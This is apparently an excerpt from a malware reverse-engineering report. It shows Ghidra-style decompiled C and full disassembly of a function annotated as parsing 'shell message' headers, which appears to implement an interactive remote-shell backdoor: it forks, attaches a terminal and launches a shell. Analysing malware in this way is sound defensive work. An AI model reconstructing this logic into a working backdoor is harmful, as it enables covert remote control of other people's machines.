    pcVar16 = (char *)0x0;
    goto LAB_0040afb3;
  }
  iVar2 = FUN_0040b0fb(param_1,(long)param_2,&local_4b,&local_48,&local_4a);
  if (iVar2 == 1) {
    if (local_4b == '\x03') {
      if (((-1 < DAT_0062b9e4) && (local_4a != 0)) && (local_48 != 0)) {
        uVar11 = 0;
        do {
          lVar17 = FUN_0041ddd5(DAT_0062b9e4,local_48 + uVar11,local_4a - uVar11);
          if (lVar17 < 1) break;
          uVar11 = uVar11 + lVar17;
        } while (uVar11 < local_4a);
      }
    }
    else {
      pcVar16 = (char *)0x1;
      if (local_4b == '\x04') {
        FUN_0040a948();
        goto LAB_0040afb3;
      }
      if (local_4b != '\x01') goto LAB_0040afb3;
      if (-1 < DAT_0062b9e4) {
        FUN_0040a948();
      }
      puVar14 = *(undefined1 **)(DAT_0062e6f0 + 0x1020);
      uVar5 = *(uint *)(DAT_0062e6f0 + 0x4e8);
      uVar1 = *(uint *)(DAT_0062e6f0 + 0x1028);
      if (((*(undefined1 **)(DAT_0062e6f0 + 0x4e0) == (undefined1 *)0x0) ||
          (puVar14 == (undefined1 *)0x0)) || (((int)uVar5 < 1 || ((int)uVar1 < 1)))) {
LAB_0040aacc:
        lVar17 = 0;
        do {
          lVar6 = FUN_0040a2e6((&DAT_00426e20)[lVar17]);
          if ((lVar6 != 0) && (iVar2 = FUN_0040a494(lVar6), iVar2 != 0)) goto LAB_0040ab7b;
          lVar17 = lVar17 + 1;
        } while (lVar17 != 8);
        lVar6 = FUN_0040a2e6(0x12d);
        if ((lVar6 != 0) && (iVar2 = FUN_0040a494(lVar6), iVar2 != 0)) {
LAB_0040ab7b:
          FUN_0041c7c9(&DAT_0062bc80,0x100,&DAT_00426e41,lVar6);
          goto LAB_0040ab98;
        }
      }
      else {
        iVar2 = uVar1 + uVar5 + 1;
        if (0xff < iVar2) goto LAB_0040aacc;
        puVar7 = *(undefined1 **)(DAT_0062e6f0 + 0x4e0);
        puVar12 = &DAT_0062bc80;
        for (uVar11 = (ulong)uVar5; uVar11 != 0; uVar11 = uVar11 - 1) {
          *puVar12 = *puVar7;
          puVar7 = puVar7 + (ulong)bVar18 * -2 + 1;
          puVar12 = puVar12 + (ulong)bVar18 * -2 + 1;
        }
        (&DAT_0062bc80)[(int)uVar5] = 0x2f;
        puVar7 = &DAT_0062bc80 + (int)(uVar5 + 1);
        for (uVar11 = (ulong)uVar1; uVar11 != 0; uVar11 = uVar11 - 1) {
          *puVar7 = *puVar14;
          puVar14 = puVar14 + (ulong)bVar18 * -2 + 1;
          puVar7 = puVar7 + (ulong)bVar18 * -2 + 1;
        }
        (&DAT_0062bc80)[iVar2] = 0;
        iVar2 = FUN_0040a494(&DAT_0062bc80);
        if (iVar2 == 0) goto LAB_0040aacc;
LAB_0040ab98:
        DAT_0062bc40 = '\0';
        DAT_0062bc00 = 0;
        DAT_0062bb00 = 0;
        uVar3 = FUN_0041dca7();
        FUN_0040a86a(uVar3);
        if (DAT_0062bc40 == '\0') {
          iVar2 = FUN_0041dc31();
          uVar13 = 0x12e;
          puVar15 = &DAT_00426e41;
          puVar14 = &DAT_0062bc40;
          if (iVar2 != 0) {
            uVar13 = 0x12f;
          }
          puVar7 = (undefined1 *)FUN_0040a2e6(uVar13);
          if (puVar7 == (undefined1 *)0x0) {
            puVar7 = &DAT_004279b3;
          }
          FUN_0041c7c9(puVar14,0x40,puVar15,puVar7);
        }
        FUN_0040a57f();
        lVar17 = FUN_0041db9a(&DAT_0062bb00,0xff);
        if (lVar17 == 0) {
          FUN_0041cea0(&DAT_0062bb00,&DAT_00424e60);
        }
        lVar17 = FUN_0040a2e6(0x130);
        if ((lVar17 == 0) || (iVar2 = FUN_00417dc5(lVar17,0x102), iVar2 < 0)) {
LAB_0040ac4c:
          iVar2 = FUN_0041dcc4(&local_40);
          if (iVar2 != 0) goto LAB_0040ac5e;
          while( true ) {
            iVar4 = FUN_0041bdde();
            if (iVar4 < 0) break;
            if (iVar4 != 0) {
              FUN_0041db41(local_40);
              iVar2 = local_3c;
              goto LAB_0040af66;
            }
            FUN_0041db41(local_3c);
            FUN_0041db79(local_40,0);
            FUN_0041db79(local_40,1);
            FUN_0041db79(local_40,2);
            FUN_0041db41(local_40);
            FUN_0041dd51();
LAB_0040aecd:
            FUN_0041bcc7(&DAT_0062bc80,&DAT_0062bc80,&DAT_00426db0,0);
LAB_0040aed7:
            FUN_0041db14(0x7f);
          }
          FUN_0041db41(local_40);
          iVar2 = local_3c;
        }
        else {
          iVar4 = FUN_0041942a(iVar2);
          if ((iVar4 != 0) ||
             ((iVar4 = FUN_0041942d(iVar2), iVar4 != 0 ||
              (lVar17 = FUN_0040a43a(iVar2), lVar17 == 0)))) {
            FUN_0041db41(iVar2);
            goto LAB_0040ac4c;
          }
          iVar4 = FUN_0041bdde();
          if (-1 < iVar4) {
            if (iVar4 == 0) {
              pcVar16 = (char *)FUN_0040a43a(iVar2);
              FUN_0041db41(iVar2);
              if (pcVar16 == (char *)0x0) goto LAB_0040aed7;
              if (*pcVar16 == '\0') goto LAB_0040aed7;
              FUN_0041dd51();
              iVar2 = FUN_00417dc5(pcVar16,2);
              if (iVar2 < 0) goto LAB_0040aed7;
              FUN_004193eb(iVar2,0x540e,0);
              FUN_0041db79(iVar2,0);
              FUN_0041db79(iVar2,1);
              FUN_0041db79(iVar2,2);
              if (2 < iVar2) {
                FUN_0041db41(iVar2);
              }
              lVar17 = FUN_0040a2e6(0x132);
              lVar6 = FUN_0040a2e6(0x131);
              param_4 = FUN_0040a2e6(0x134);
              lVar8 = FUN_0040a2e6(0x133);
              lVar9 = FUN_0040a2e6(0x135);
              lVar10 = FUN_0040a2e6(0x136);
              if ((lVar17 != 0) && (lVar6 != 0)) {
                FUN_00417b80(lVar17);
              }
              if ((param_4 != 0) && (lVar8 != 0)) {
                FUN_00417b80(param_4,lVar8,1);
              }
              if (lVar9 != 0) {
                FUN_00417b80(lVar9,&DAT_0062bc00,1);
              }
              if (lVar10 != 0) {
                FUN_00417b80(lVar10,&DAT_0062bc40,1);
              }
              pcVar16 = "-i";
              lVar17 = FUN_0040a2e6(0x12d);
              if (lVar17 == 0) goto LAB_0040aecd;
              lVar17 = FUN_0041d540(&DAT_0062bc80,lVar17);
              if (lVar17 == 0) goto LAB_0040aecd;
              FUN_0041bcc7(&DAT_0062bc80,&DAT_00426db3,&DAT_00426db3,&DAT_00426db0,0);
              goto LAB_0040aed7;
            }
LAB_0040af66:
            uVar5 = FUN_00417c6e(iVar2,3,0);
            if (uVar5 != 0xffffffff) {
              FUN_00417c6e(iVar2,4,uVar5 | 0x800);
            }
            DAT_0062b9e0 = iVar4;
            DAT_0062b9e4 = iVar2;
            iVar2 = FUN_0040a31c(param_3,param_4);
            if (iVar2 == 0) goto LAB_0040aa6c;
            goto LAB_0040ac5e;
          }
        }
        FUN_0041db41(iVar2);
      }
LAB_0040ac5e:
      lVar17 = FUN_0040b165(&local_40,7,4,0,0);
      if (lVar17 != 0) {
        (*param_3)(&local_40,lVar17,param_4);
        goto LAB_0040afb3;
      }
    }
  }
LAB_0040aa6c:
  pcVar16 = (char *)0x1;
LAB_0040afb3:
  return (ulong)pcVar16 & 0xffffffff;
}

Assembly · 380 instructions, 0 annotated

Address	Bytes	Instruction
0040aa12	41 57	PUSH R15
0040aa14	41 56	PUSH R14
0040aa16	41 55	PUSH R13
0040aa18	41 54	PUSH R12
0040aa1a	55	PUSH RBP
0040aa1b	53	PUSH RBX
0040aa1c	48 83 ec 38	SUB RSP,0x38
0040aa20	48 85 ff	TEST RDI,RDI
0040aa23	74 07	JZ LAB_0040aa2c
0040aa25	89 f5	MOV EBP,ESI
0040aa27	83 fe 06	CMP ESI,0x6
0040aa2a	7f 08	JG LAB_0040aa34
LAB_0040aa2c:
0040aa2c	45 31 e4	XOR R12D,R12D
0040aa2f	e9 7f 05 00 00	JMP LAB_0040afb3
LAB_0040aa34:
0040aa34	48 89 7c 24 08	MOV qword ptr [RSP + local_60],RDI
0040aa39	48 89 d3	MOV RBX,RDX
0040aa3c	49 89 cd	MOV R13,RCX
0040aa3f	e8 74 06 00 00	CALL FUN_0040b0b8
0040aa44	85 c0	TEST EAX,EAX
0040aa46	74 e4	JZ LAB_0040aa2c
0040aa48	48 8b 7c 24 08	MOV RDI,qword ptr [RSP + local_60]
0040aa4d	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
0040aa52	48 8d 54 24 1d	LEA RDX,[RSP + 0x1d]
0040aa57	48 63 f5	MOVSXD RSI,EBP
0040aa5a	4c 8d 44 24 1e	LEA R8,[RSP + 0x1e]
0040aa5f	e8 97 06 00 00	CALL FUN_0040b0fb
0040aa64	41 89 c4	MOV R12D,EAX
0040aa67	83 f8 01	CMP EAX,0x1
0040aa6a	74 0b	JZ LAB_0040aa77
LAB_0040aa6c:
0040aa6c	41 bc 01 00 00 00	MOV R12D,0x1
0040aa72	e9 3c 05 00 00	JMP LAB_0040afb3
LAB_0040aa77:
0040aa77	8a 44 24 1d	MOV AL,byte ptr [RSP + local_4b]
0040aa7b	3c 03	CMP AL,0x3
0040aa7d	0f 84 10 02 00 00	JZ LAB_0040ac93
0040aa83	3c 04	CMP AL,0x4
0040aa85	0f 84 5e 02 00 00	JZ LAB_0040ace9
0040aa8b	fe c8	DEC AL
0040aa8d	0f 85 20 05 00 00	JNZ LAB_0040afb3
0040aa93	83 3d 4a 0f 22 00 00	CMP dword ptr [DAT_0062b9e4],0x0
0040aa9a	78 05	JS LAB_0040aaa1
0040aa9c	e8 a7 fe ff ff	CALL FUN_0040a948
LAB_0040aaa1:
0040aaa1	48 8b 05 48 3c 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040aaa8	48 8b b0 e0 04 00 00	MOV RSI,qword ptr [RAX + 0x4e0]
0040aaaf	4c 8b 90 20 10 00 00	MOV R10,qword ptr [RAX + 0x1020]
0040aab6	8b 88 e8 04 00 00	MOV ECX,dword ptr [RAX + 0x4e8]
0040aabc	8b 80 28 10 00 00	MOV EAX,dword ptr [RAX + 0x1028]
0040aac2	48 85 f6	TEST RSI,RSI
0040aac5	74 05	JZ LAB_0040aacc
0040aac7	4d 85 d2	TEST R10,R10
0040aaca	75 0c	JNZ LAB_0040aad8
LAB_0040aacc:
0040aacc	45 31 ff	XOR R15D,R15D
0040aacf	48 8d 2d 4a c3 01 00	LEA RBP,[DAT_00426e20]
0040aad6	eb 69	JMP LAB_0040ab41
LAB_0040aad8:
0040aad8	85 c9	TEST ECX,ECX
0040aada	7e f0	JLE LAB_0040aacc
0040aadc	85 c0	TEST EAX,EAX
0040aade	7e ec	JLE LAB_0040aacc
0040aae0	8d 51 01	LEA EDX,[RCX + 0x1]
0040aae3	44 8d 0c 10	LEA R9D,[RAX + RDX*0x1]
0040aae7	41 81 f9 ff 00 00 00	CMP R9D,0xff
0040aaee	7f dc	JG LAB_0040aacc
0040aaf0	4c 8d 05 89 11 22 00	LEA R8,[DAT_0062bc80]
0040aaf7	4c 63 d9	MOVSXD R11,ECX
0040aafa	48 63 d2	MOVSXD RDX,EDX
0040aafd	89 c9	MOV ECX,ECX
0040aaff	4c 89 c7	MOV RDI,R8
0040ab02	4c 01 c2	ADD RDX,R8
0040ab05	4d 63 c9	MOVSXD R9,R9D
0040ab08	f3 a4	MOVSB.REP RDI,RSI
0040ab0a	43 c6 04 18 2f	MOV byte ptr [R8 + R11*0x1],0x2f
0040ab0f	89 c1	MOV ECX,EAX
0040ab11	48 89 d7	MOV RDI,RDX
0040ab14	4c 89 d6	MOV RSI,R10
0040ab17	f3 a4	MOVSB.REP RDI,RSI
0040ab19	43 c6 04 08 00	MOV byte ptr [R8 + R9*0x1],0x0
0040ab1e	4c 89 c7	MOV RDI,R8
0040ab21	e8 6e f9 ff ff	CALL FUN_0040a494
0040ab26	85 c0	TEST EAX,EAX
0040ab28	75 6e	JNZ LAB_0040ab98
0040ab2a	eb a0	JMP LAB_0040aacc
LAB_0040ab2c:
0040ab2c	48 89 c7	MOV RDI,RAX
0040ab2f	e8 60 f9 ff ff	CALL FUN_0040a494
0040ab34	85 c0	TEST EAX,EAX
0040ab36	75 43	JNZ LAB_0040ab7b
LAB_0040ab38:
0040ab38	49 ff c7	INC R15
0040ab3b	49 83 ff 08	CMP R15,0x8
0040ab3f	74 14	JZ LAB_0040ab55
LAB_0040ab41:
0040ab41	42 8b 7c bd 00	MOV EDI,dword ptr [RBP + R15*0x4]
0040ab46	e8 9b f7 ff ff	CALL FUN_0040a2e6
0040ab4b	49 89 c6	MOV R14,RAX
0040ab4e	48 85 c0	TEST RAX,RAX
0040ab51	75 d9	JNZ LAB_0040ab2c
0040ab53	eb e3	JMP LAB_0040ab38
LAB_0040ab55:
0040ab55	bf 2d 01 00 00	MOV EDI,0x12d
0040ab5a	e8 87 f7 ff ff	CALL FUN_0040a2e6
0040ab5f	49 89 c6	MOV R14,RAX
0040ab62	48 85 c0	TEST RAX,RAX
0040ab65	0f 84 f3 00 00 00	JZ LAB_0040ac5e
0040ab6b	48 89 c7	MOV RDI,RAX
0040ab6e	e8 21 f9 ff ff	CALL FUN_0040a494
0040ab73	85 c0	TEST EAX,EAX
0040ab75	0f 84 e3 00 00 00	JZ LAB_0040ac5e
LAB_0040ab7b:
0040ab7b	4c 89 f1	MOV RCX,R14
0040ab7e	48 8d 15 bc c2 01 00	LEA RDX,[DAT_00426e41]
0040ab85	be 00 01 00 00	MOV ESI,0x100
0040ab8a	31 c0	XOR EAX,EAX
0040ab8c	48 8d 3d ed 10 22 00	LEA RDI,[DAT_0062bc80]
0040ab93	e8 31 1c 01 00	CALL FUN_0041c7c9
LAB_0040ab98:
0040ab98	c6 05 a1 10 22 00 00	MOV byte ptr [DAT_0062bc40],0x0
0040ab9f	c6 05 5a 10 22 00 00	MOV byte ptr [DAT_0062bc00],0x0
0040aba6	c6 05 53 0f 22 00 00	MOV byte ptr [DAT_0062bb00],0x0
0040abad	e8 f5 30 01 00	CALL FUN_0041dca7
0040abb2	89 c7	MOV EDI,EAX
0040abb4	e8 b1 fc ff ff	CALL FUN_0040a86a
0040abb9	80 3d 80 10 22 00 00	CMP byte ptr [DAT_0062bc40],0x0
0040abc0	75 47	JNZ LAB_0040ac09
0040abc2	e8 6a 30 01 00	CALL FUN_0041dc31
0040abc7	bf 2e 01 00 00	MOV EDI,0x12e
0040abcc	4c 8d 0d 6e c2 01 00	LEA R9,[DAT_00426e41]
0040abd3	4c 8d 05 66 10 22 00	LEA R8,[DAT_0062bc40]
0040abda	85 c0	TEST EAX,EAX
0040abdc	74 05	JZ LAB_0040abe3
0040abde	bf 2f 01 00 00	MOV EDI,0x12f
LAB_0040abe3:
0040abe3	e8 fe f6 ff ff	CALL FUN_0040a2e6
0040abe8	48 89 c1	MOV RCX,RAX
0040abeb	48 85 c0	TEST RAX,RAX
0040abee	75 07	JNZ LAB_0040abf7
0040abf0	48 8d 0d bc cd 01 00	LEA RCX,[DAT_004279b3]
LAB_0040abf7:
0040abf7	4c 89 ca	MOV RDX,R9
0040abfa	be 40 00 00 00	MOV ESI,0x40
0040abff	4c 89 c7	MOV RDI,R8
0040ac02	31 c0	XOR EAX,EAX
0040ac04	e8 c0 1b 01 00	CALL FUN_0041c7c9
LAB_0040ac09:
0040ac09	e8 71 f9 ff ff	CALL FUN_0040a57f
0040ac0e	48 8d 2d eb 0e 22 00	LEA RBP,[DAT_0062bb00]
0040ac15	be ff 00 00 00	MOV ESI,0xff
0040ac1a	48 89 ef	MOV RDI,RBP
0040ac1d	e8 78 2f 01 00	CALL FUN_0041db9a
0040ac22	48 85 c0	TEST RAX,RAX
0040ac25	75 0f	JNZ LAB_0040ac36
0040ac27	48 8d 35 32 a2 01 00	LEA RSI,[DAT_00424e60]
0040ac2e	48 89 ef	MOV RDI,RBP
0040ac31	e8 6a 22 01 00	CALL FUN_0041cea0
LAB_0040ac36:
0040ac36	bf 30 01 00 00	MOV EDI,0x130
0040ac3b	e8 a6 f6 ff ff	CALL FUN_0040a2e6
0040ac40	48 89 c7	MOV RDI,RAX
0040ac43	48 85 c0	TEST RAX,RAX
0040ac46	0f 85 a7 00 00 00	JNZ LAB_0040acf3
LAB_0040ac4c:
0040ac4c	48 8d 7c 24 28	LEA RDI,[RSP + 0x28]
0040ac51	e8 6e 30 01 00	CALL FUN_0041dcc4
0040ac56	85 c0	TEST EAX,EAX
0040ac58	0f 84 83 02 00 00	JZ LAB_0040aee1
LAB_0040ac5e:
0040ac5e	48 8d 6c 24 28	LEA RBP,[RSP + 0x28]
0040ac63	be 07 00 00 00	MOV ESI,0x7
0040ac68	45 31 c0	XOR R8D,R8D
0040ac6b	31 c9	XOR ECX,ECX
0040ac6d	ba 04 00 00 00	MOV EDX,0x4
0040ac72	48 89 ef	MOV RDI,RBP
0040ac75	e8 eb 04 00 00	CALL FUN_0040b165
0040ac7a	48 89 c6	MOV RSI,RAX
0040ac7d	48 85 c0	TEST RAX,RAX
0040ac80	0f 84 e6 fd ff ff	JZ LAB_0040aa6c
0040ac86	4c 89 ea	MOV RDX,R13
0040ac89	48 89 ef	MOV RDI,RBP
0040ac8c	ff d3	CALL RBX
0040ac8e	e9 20 03 00 00	JMP LAB_0040afb3
LAB_0040ac93:
0040ac93	83 3d 4a 0d 22 00 00	CMP dword ptr [DAT_0062b9e4],0x0
0040ac9a	0f 88 cc fd ff ff	JS LAB_0040aa6c
0040aca0	0f b7 6c 24 1e	MOVZX EBP,word ptr [RSP + local_4a]
0040aca5	66 85 ed	TEST BP,BP
0040aca8	0f 84 be fd ff ff	JZ LAB_0040aa6c
0040acae	4c 8b 64 24 20	MOV R12,qword ptr [RSP + local_48]
0040acb3	4d 85 e4	TEST R12,R12
0040acb6	0f 84 b0 fd ff ff	JZ LAB_0040aa6c
0040acbc	31 db	XOR EBX,EBX
LAB_0040acbe:
0040acbe	48 89 ea	MOV RDX,RBP
0040acc1	8b 3d 1d 0d 22 00	MOV EDI,dword ptr [DAT_0062b9e4]
0040acc7	49 8d 34 1c	LEA RSI,[R12 + RBX*0x1]
0040accb	48 29 da	SUB RDX,RBX
0040acce	e8 02 31 01 00	CALL FUN_0041ddd5
0040acd3	48 85 c0	TEST RAX,RAX
0040acd6	0f 8e 90 fd ff ff	JLE LAB_0040aa6c
0040acdc	48 01 c3	ADD RBX,RAX
0040acdf	48 39 dd	CMP RBP,RBX
0040ace2	77 da	JA LAB_0040acbe
0040ace4	e9 83 fd ff ff	JMP LAB_0040aa6c
LAB_0040ace9:
0040ace9	e8 5a fc ff ff	CALL FUN_0040a948
0040acee	e9 c0 02 00 00	JMP LAB_0040afb3
LAB_0040acf3:
0040acf3	be 02 01 00 00	MOV ESI,0x102
0040acf8	31 c0	XOR EAX,EAX
0040acfa	e8 c6 d0 00 00	CALL FUN_00417dc5
0040acff	89 c5	MOV EBP,EAX
0040ad01	85 c0	TEST EAX,EAX
0040ad03	0f 88 43 ff ff ff	JS LAB_0040ac4c
0040ad09	89 c7	MOV EDI,EAX
0040ad0b	e8 1a e7 00 00	CALL FUN_0041942a
0040ad10	85 c0	TEST EAX,EAX
0040ad12	74 0c	JZ LAB_0040ad20
LAB_0040ad14:
0040ad14	89 ef	MOV EDI,EBP
0040ad16	e8 26 2e 01 00	CALL FUN_0041db41
0040ad1b	e9 2c ff ff ff	JMP LAB_0040ac4c
LAB_0040ad20:
0040ad20	89 ef	MOV EDI,EBP
0040ad22	e8 06 e7 00 00	CALL FUN_0041942d
0040ad27	85 c0	TEST EAX,EAX
0040ad29	75 e9	JNZ LAB_0040ad14
0040ad2b	89 ef	MOV EDI,EBP
0040ad2d	e8 08 f7 ff ff	CALL FUN_0040a43a
0040ad32	48 85 c0	TEST RAX,RAX
0040ad35	74 dd	JZ LAB_0040ad14
0040ad37	e8 a2 10 01 00	CALL FUN_0041bdde
0040ad3c	89 ef	MOV EDI,EBP
0040ad3e	41 89 c6	MOV R14D,EAX
0040ad41	85 c0	TEST EAX,EAX
0040ad43	0f 88 b1 01 00 00	JS LAB_0040aefa
0040ad49	0f 85 17 02 00 00	JNZ LAB_0040af66
0040ad4f	e8 e6 f6 ff ff	CALL FUN_0040a43a
0040ad54	89 ef	MOV EDI,EBP
0040ad56	49 89 c4	MOV R12,RAX
0040ad59	e8 e3 2d 01 00	CALL FUN_0041db41
0040ad5e	4d 85 e4	TEST R12,R12
0040ad61	0f 84 70 01 00 00	JZ LAB_0040aed7
0040ad67	41 80 3c 24 00	CMP byte ptr [R12],0x0
0040ad6c	0f 84 65 01 00 00	JZ LAB_0040aed7
0040ad72	e8 da 2f 01 00	CALL FUN_0041dd51
0040ad77	be 02 00 00 00	MOV ESI,0x2
0040ad7c	4c 89 e7	MOV RDI,R12
0040ad7f	31 c0	XOR EAX,EAX
0040ad81	e8 3f d0 00 00	CALL FUN_00417dc5
0040ad86	89 c5	MOV EBP,EAX
0040ad88	85 c0	TEST EAX,EAX
0040ad8a	0f 88 47 01 00 00	JS LAB_0040aed7
0040ad90	31 d2	XOR EDX,EDX
0040ad92	89 c7	MOV EDI,EAX
0040ad94	be 0e 54 00 00	MOV ESI,0x540e
0040ad99	31 c0	XOR EAX,EAX
0040ad9b	e8 4b e6 00 00	CALL FUN_004193eb
0040ada0	31 f6	XOR ESI,ESI
0040ada2	89 ef	MOV EDI,EBP
0040ada4	e8 d0 2d 01 00	CALL FUN_0041db79
0040ada9	be 01 00 00 00	MOV ESI,0x1
0040adae	89 ef	MOV EDI,EBP
0040adb0	e8 c4 2d 01 00	CALL FUN_0041db79
0040adb5	be 02 00 00 00	MOV ESI,0x2
0040adba	89 ef	MOV EDI,EBP
0040adbc	e8 b8 2d 01 00	CALL FUN_0041db79
0040adc1	83 fd 02	CMP EBP,0x2
0040adc4	7e 07	JLE LAB_0040adcd
0040adc6	89 ef	MOV EDI,EBP
0040adc8	e8 74 2d 01 00	CALL FUN_0041db41
LAB_0040adcd:
0040adcd	bf 32 01 00 00	MOV EDI,0x132
0040add2	e8 0f f5 ff ff	CALL FUN_0040a2e6
0040add7	bf 31 01 00 00	MOV EDI,0x131
0040addc	49 89 c0	MOV R8,RAX
0040addf	e8 02 f5 ff ff	CALL FUN_0040a2e6
0040ade4	bf 34 01 00 00	MOV EDI,0x134
0040ade9	48 89 c6	MOV RSI,RAX
0040adec	e8 f5 f4 ff ff	CALL FUN_0040a2e6
0040adf1	bf 33 01 00 00	MOV EDI,0x133
0040adf6	49 89 c5	MOV R13,RAX
0040adf9	e8 e8 f4 ff ff	CALL FUN_0040a2e6
0040adfe	bf 35 01 00 00	MOV EDI,0x135
0040ae03	49 89 c6	MOV R14,RAX
0040ae06	e8 db f4 ff ff	CALL FUN_0040a2e6
0040ae0b	bf 36 01 00 00	MOV EDI,0x136
0040ae10	49 89 c4	MOV R12,RAX
0040ae13	e8 ce f4 ff ff	CALL FUN_0040a2e6
0040ae18	48 89 c5	MOV RBP,RAX
0040ae1b	4d 85 c0	TEST R8,R8
0040ae1e	74 12	JZ LAB_0040ae32
0040ae20	48 85 f6	TEST RSI,RSI
0040ae23	74 0d	JZ LAB_0040ae32
0040ae25	ba 01 00 00 00	MOV EDX,0x1
0040ae2a	4c 89 c7	MOV RDI,R8
0040ae2d	e8 4e cd 00 00	CALL FUN_00417b80
LAB_0040ae32:
0040ae32	4d 85 ed	TEST R13,R13
0040ae35	74 15	JZ LAB_0040ae4c
0040ae37	4d 85 f6	TEST R14,R14
0040ae3a	74 10	JZ LAB_0040ae4c
0040ae3c	ba 01 00 00 00	MOV EDX,0x1
0040ae41	4c 89 f6	MOV RSI,R14
0040ae44	4c 89 ef	MOV RDI,R13
0040ae47	e8 34 cd 00 00	CALL FUN_00417b80
LAB_0040ae4c:
0040ae4c	4d 85 e4	TEST R12,R12
0040ae4f	74 14	JZ LAB_0040ae65
0040ae51	ba 01 00 00 00	MOV EDX,0x1
0040ae56	48 8d 35 a3 0d 22 00	LEA RSI,[DAT_0062bc00]
0040ae5d	4c 89 e7	MOV RDI,R12
0040ae60	e8 1b cd 00 00	CALL FUN_00417b80
LAB_0040ae65:
0040ae65	48 85 ed	TEST RBP,RBP
0040ae68	74 14	JZ LAB_0040ae7e
0040ae6a	ba 01 00 00 00	MOV EDX,0x1
0040ae6f	48 8d 35 ca 0d 22 00	LEA RSI,[DAT_0062bc40]
0040ae76	48 89 ef	MOV RDI,RBP
0040ae79	e8 02 cd 00 00	CALL FUN_00417b80
LAB_0040ae7e:
0040ae7e	bf 2d 01 00 00	MOV EDI,0x12d
0040ae83	4c 8d 25 26 bf 01 00	LEA R12,[DAT_00426db0]
0040ae8a	e8 57 f4 ff ff	CALL FUN_0040a2e6
0040ae8f	48 8d 3d ea 0d 22 00	LEA RDI,[DAT_0062bc80]
0040ae96	48 85 c0	TEST RAX,RAX
0040ae99	48 89 c6	MOV RSI,RAX
0040ae9c	74 2a	JZ LAB_0040aec8
0040ae9e	e8 9d 26 01 00	CALL FUN_0041d540
0040aea3	48 8d 3d d6 0d 22 00	LEA RDI,[DAT_0062bc80]
0040aeaa	48 85 c0	TEST RAX,RAX
0040aead	74 19	JZ LAB_0040aec8
0040aeaf	48 8d 35 fd be 01 00	LEA RSI,[DAT_00426db3]
0040aeb6	45 31 c0	XOR R8D,R8D
0040aeb9	4c 89 e1	MOV RCX,R12
0040aebc	31 c0	XOR EAX,EAX
0040aebe	48 89 f2	MOV RDX,RSI
0040aec1	e8 01 0e 01 00	CALL FUN_0041bcc7
0040aec6	eb 0f	JMP LAB_0040aed7
LAB_0040aec8:
0040aec8	31 c9	XOR ECX,ECX
0040aeca	4c 89 e2	MOV RDX,R12
LAB_0040aecd:
0040aecd	48 89 fe	MOV RSI,RDI
0040aed0	31 c0	XOR EAX,EAX
0040aed2	e8 f0 0d 01 00	CALL FUN_0041bcc7
LAB_0040aed7:
0040aed7	bf 7f 00 00 00	MOV EDI,0x7f
0040aedc	e8 33 2c 01 00	CALL FUN_0041db14
LAB_0040aee1:
0040aee1	e8 f8 0e 01 00	CALL FUN_0041bdde
0040aee6	41 89 c6	MOV R14D,EAX
0040aee9	85 c0	TEST EAX,EAX
0040aeeb	79 17	JNS LAB_0040af04
0040aeed	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040aef1	e8 4b 2c 01 00	CALL FUN_0041db41
0040aef6	8b 7c 24 2c	MOV EDI,dword ptr [RSP + local_3c]
LAB_0040aefa:
0040aefa	e8 42 2c 01 00	CALL FUN_0041db41
0040aeff	e9 5a fd ff ff	JMP LAB_0040ac5e
LAB_0040af04:
0040af04	75 53	JNZ LAB_0040af59
0040af06	8b 7c 24 2c	MOV EDI,dword ptr [RSP + local_3c]
0040af0a	e8 32 2c 01 00	CALL FUN_0041db41
0040af0f	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040af13	31 f6	XOR ESI,ESI
0040af15	e8 5f 2c 01 00	CALL FUN_0041db79
0040af1a	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040af1e	be 01 00 00 00	MOV ESI,0x1
0040af23	e8 51 2c 01 00	CALL FUN_0041db79
0040af28	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040af2c	be 02 00 00 00	MOV ESI,0x2
0040af31	e8 43 2c 01 00	CALL FUN_0041db79
0040af36	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040af3a	e8 02 2c 01 00	CALL FUN_0041db41
0040af3f	e8 0d 2e 01 00	CALL FUN_0041dd51
0040af44	31 c9	XOR ECX,ECX
0040af46	48 8d 15 63 be 01 00	LEA RDX,[DAT_00426db0]
0040af4d	48 8d 3d 2c 0d 22 00	LEA RDI,[DAT_0062bc80]
0040af54	e9 74 ff ff ff	JMP LAB_0040aecd
LAB_0040af59:
0040af59	8b 7c 24 28	MOV EDI,dword ptr [RSP + local_40]
0040af5d	e8 df 2b 01 00	CALL FUN_0041db41
0040af62	8b 6c 24 2c	MOV EBP,dword ptr [RSP + local_3c]
LAB_0040af66:
0040af66	31 d2	XOR EDX,EDX
0040af68	31 c0	XOR EAX,EAX
0040af6a	be 03 00 00 00	MOV ESI,0x3
0040af6f	89 ef	MOV EDI,EBP
0040af71	e8 f8 cc 00 00	CALL FUN_00417c6e
0040af76	83 f8 ff	CMP EAX,-0x1
0040af79	74 13	JZ LAB_0040af8e
0040af7b	80 cc 08	OR AH,0x8
0040af7e	be 04 00 00 00	MOV ESI,0x4
0040af83	89 ef	MOV EDI,EBP
0040af85	89 c2	MOV EDX,EAX
0040af87	31 c0	XOR EAX,EAX
0040af89	e8 e0 cc 00 00	CALL FUN_00417c6e
LAB_0040af8e:
0040af8e	4c 89 ee	MOV RSI,R13
0040af91	48 89 df	MOV RDI,RBX
0040af94	89 2d 4a 0a 22 00	MOV dword ptr [DAT_0062b9e4],EBP
0040af9a	44 89 35 3f 0a 22 00	MOV dword ptr [DAT_0062b9e0],R14D
0040afa1	e8 76 f3 ff ff	CALL FUN_0040a31c
0040afa6	85 c0	TEST EAX,EAX
0040afa8	0f 84 be fa ff ff	JZ LAB_0040aa6c
0040afae	e9 ab fc ff ff	JMP LAB_0040ac5e
LAB_0040afb3:
0040afb3	48 83 c4 38	ADD RSP,0x38
0040afb7	44 89 e0	MOV EAX,R12D
0040afba	5b	POP RBX
0040afbb	5d	POP RBP
0040afbc	41 5c	POP R12
0040afbe	41 5d	POP R13
0040afc0	41 5e	POP R14
0040afc2	41 5f	POP R15
0040afc4	c3	RET

parses the shell message header

0x40b0fb106 bytes

undefined FUN_0040b0fb()

parses the shell message header (subtype, length, payload)

Cited as: E28
Behaviours: B11
Called from: FUN_0040aa12
Calls: FUN_0040b0b8

Decompiled C · 36 lines

undefined8
